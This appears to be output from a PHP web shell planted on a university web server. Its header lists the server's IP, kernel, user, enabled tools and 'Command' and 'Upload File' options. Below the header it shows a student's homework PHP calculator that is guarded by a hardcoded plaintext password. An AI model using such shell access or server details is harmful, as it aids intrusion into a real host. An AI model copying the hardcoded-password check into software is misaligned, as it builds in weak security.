Server IP : 172.16.15.8 / Your IP : 3.129.67.248 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/idetonyeaku/www/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<!-- File: passcalculator.php Assignment: 2 Part: d Due: Feb. 19, 2018 Author: Ikechukwu Etonyeaku Goal: Based on the general calculator in Pages 47-49, secure the Web pages by adding a login page with the password of hw2d to access the tool, and also add the additional operations of modulus (a%b) and power (ab) to the operation form. --> <?php session_start(); $pass = $_POST['pass']; $_SESSION['psw'] = $pass; if($pass != "hw2d") print "Sorry wrong password buddy."; else { ?> <HTML> <style> body { border: 2px solid black; padding: 25px; background:url(http://www.avatarys.com/var/albums/SPORT-IMAGES-%26-BACKGROUNDS/Sport-Logos/English-Premier-League-Logos/1920x1080-Cool-Soccer-Logos/Ac%20milan%20logo%20football%20Cool%20Soccer%20Wallpapers%201920x1080.jpg?m=1435255621); background-repeat:no-repeat; background-size: auto; } .black_bg { background-color: black; padding: 3px; } </style> <Font color = White> <CENTER> <H2><span class = "black_bg"><strong>A General Calculator</span> </H2> <HR> <FORM action=pcalculator.php method=post> <P> Input the first value: <INPUT type=text size=5 name=num1> <P> Input the second value: <INPUT type=text size=5 name=num2> <P> <INPUT type=submit value=Submit> <INPUT type=reset value=Reset> </Form> </CENTER> </Html> </font> <?php } ?>